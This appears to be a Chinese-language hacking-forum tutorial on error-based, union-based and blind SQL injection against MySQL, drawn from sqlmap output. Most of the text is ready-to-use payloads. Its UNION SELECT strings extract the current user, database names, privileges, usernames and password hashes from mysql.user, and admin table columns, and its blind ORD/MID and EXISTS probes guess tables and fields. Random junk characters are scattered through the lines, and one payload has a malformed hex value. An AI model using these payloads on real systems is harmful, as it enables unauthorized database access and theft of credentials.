放假第一天,本应该好好放松一下,可是还是想着把文章写完先。。。& F9 a. }7 k; |# S: n9 E5 J
, Q/ p% D* b; q- {5 Y% S8 H
这次的主题是高级注入,坛子里也讲到了一些,不过本文旨在给大家一个更深刻的概念和全面的理解,下面看看我自己列的一个表
' J7 n3 r' J0 Y* U
% `- V7 O$ f& Y6 Q' t分类标准 分类 备注
5 ^8 I! f3 w u, a& B7 ~按字段类型 整型注入,字符型注入
( i$ T+ }! Q% r4 ^8 K$ J, s! n按出现的位置 get注入,post注入,cookie注入,http header注入 " _( o8 Y& F$ c) \" S( ^& T( }9 Q
然而高级注入是这样的" C( k) Z \3 }2 L7 E' A4 ^
1 _9 X% n7 |, p7 z. d
高级注入分类 条件
9 ^" K& x9 O0 p$ F+ Terror-based sql 数据库的错误回显可以返回,存在数据库,表结构: |2 `/ D, Q* I1 u7 O
union-based sql 能够使用union,存在数据库,表结构
# j( B: r4 ~7 Fblind sql 存在注入* L5 H6 i. U" U' P6 I) l
我们暂且不考虑waf等的影响,只从原理上学习。通过上面我们不难发现,三种高级注入选择的顺序应该是eub(第一个字母,后面为了方便我都这样表示了 ),实际上,e是不需要知道字段数的,u需要知道字段数,e之所以在前我觉得主要是因为这个,因为在其他方面它们没有本质的区别,它们都需要知道数据库以及表的结构,这样才能构造出相应的语句,当然,能e一般能u(没过滤union等),反过来却很不一定,因为一般会有自定义的错误提醒。如果没有结构,那么就回到了最悲剧,最麻烦的b了,猜。。。当然可能没有结果,但是如果只是不能使用u,有结构,b还是能出结果的,只是苦逼点而已。。。$ L. c4 F/ }( i: ?7 j7 x" U
" z: f4 [% c* c) |5 e- A' J# k好了,说了这么多,该上神器sqlmap了,最近坛子里貌似很火
6 N3 ?4 {" B$ E8 s- n
# \# s' V! ]! O" V附件分别以mysql和mssql为例子,提醒:sqlmap中使用-v 3可以查看每个请求的payload。
: B' |( M' X) E7 `* Y+ E4 s! q' F / S) j4 X& r5 I
这里用mysql说明
' k4 e: D* `4 c% j( K* e0 |7 Q6 c ' c: y0 r; {; a) g& o/ _2 {0 B5 K
e注入坛子里很多了,请看戳我或者再戳我
7 n: q- b* g: E! Q3 |
/ b& i2 d2 w! u5 e% X6 ju注入其实也很多了,这里就大概帖上一些重要语句吧,附件上结合例子都有的
5 } O8 v' [3 |& b9 O- G: r$ N
7 n" S) q0 d! ]: K: \6 T# ^) U获取当前数据库用户名
9 ]4 h) B; ^( |6 t; N- w% K
/ B9 M% e3 J. X! z. YUNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(C' z! k. c& |! G0 T# S1 u1 i4 f
AST(CURRENT_USER() AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NUL
- s; T* S8 h1 O- E HL, NULL#
; U+ |9 d, s: S2 B8 e+ V注意concat那里不是必须的,只是sqlmap为了自动攫取出数据加上的特征,下面语句类似,涉及基础性的知识,基友们自己去补吧。6 t2 U. ~ s, w% J7 J
- j/ T) Q# H# L# J# d3 |) J( ^
获取数据库名
! Z( t Z0 o8 H! W1 Y6 ?5 _4 d ' ~) M" M" z, X2 O
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(DATABASE() AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL#9 u: t$ I8 J6 x [& K
获取所有用户名6 f! I1 N$ ?! i1 @! {
6 g: d# s* K$ V5 y- j4 a. dUNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(grantee AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.USER_PRIVILEGES#
; e U: m/ c2 d查看当前用户权限
# a! V' {& v8 Q$ C
5 A* e+ d2 {9 y+ ? Q" ]: V0 D! s& a. sUNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(grantee AS CHAR),0x20),0x697461626a6e,IFNULL(CAST(privilege_type AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.USER_PRIVILEGES#
- e# |# v* ]9 a7 {+ H G' p0 V; D尝试获取密码,当然需要有能读mysql数据库的权限! c% z# o q4 i1 f( W
6 h, Y9 D! o6 o: dUNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(user AS CHAR),0x20),0x697461626a6e,IFNULL(CAST(password AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM mysql.user## c, F( S+ F& y: g2 y
获取表名,limit什么的自己搞啦$ k8 a3 [% @, I1 K* ?- E7 |& j* m
4 j( _2 e1 v+ p' d# f
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(table_name AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.TABLES WHERE table_schema = 0x7061727474696d655f6a6f62#
# E+ M1 [( z$ q- S- S6 }获取字段名及其类型0 j6 a# W9 j- O# n& G
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(column_name AS CHAR),0×20),0x697461626a6e,IFNULL(CAST(column_type AS CHAR),0×20),0x3a6864623a),NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x61646d696e5f7461626c65 AND table_schema=0x7061727474696d655f6a6f62 AND (column_name=0x61646d696e6e616d65 OR column_name=0x70617373776f7264)#
2 f x" j2 [" t% ^- k
9 i8 z& N# m) K5 q \b注入,呵呵,除了当前用户,数据库,版本可以出来,而如果不能u,但存在数据的结构表,还是能苦逼出来,否则猜也不一定能猜到表和字段,内容自然也出不来,苦逼access啊。。。( N S6 h6 ?/ r- f" c- o, N$ C9 U
) Q( W7 s+ h F如:
* y5 Z; w. h# G4 D* N+ Q获取当前用户名
" |; j; L: L- n3 X ( p% h, h9 X* \. d* b/ ^
AND ORD(MID((IFNULL(CAST(CURRENT_USER() AS CHAR),0x20)),1,1)) > 116
( \. M4 N I5 b2 n. v2 F获取当前数据库
" U2 D# I" `) { $ c# f. g$ h0 b( ^9 l
AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),6,1)) > 106# {/ e9 D |& B" J3 H, \
获取表名
, y+ c1 H% k5 w% H7 x* e
, q, Y* D, I2 ~$ I0 |% x$ mAND ORD(MID((SELECT IFNULL(CAST(COUNT(table_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x7061727474696d655f6a6f62),1,1)) > 51
7 ^) y) Z0 c/ r( T8 N获取字段名及其类型和爆内容就不说了,改改上面的就可以了。
* \5 d5 x6 t( D/ f/ t# ~回到最苦逼的情况,无结构的,mysql版本<5.0,现在不多见了吧,还是看看语句。
) x( q4 ~; S. w I* r6 F/ \& S' Z爆表
4 q# I! g3 j: S5 L 5 i& t) V5 ~7 ~4 z
AND EXISTS(select * from table)# g" p; x' E/ f% |6 b
爆字段
) e: r2 \# b; A2 x& ~% N 6 l2 G2 R$ x# W6 r- x
AND EXISTS(select pwd from table)
9 B. z' A1 i1 j) g盲注的变化就比较多了,由于篇幅,只是举个例子而已。/ ]; Q* Z' G' h% H9 f U/ p
* o4 [# e% I- |+ _本来想把mssql和access都写上的,不过编辑得太累了,有时间再写吧,其实原理都差不多,今天就洗洗睡了吧。# V4 E, H1 k3 H2 x
|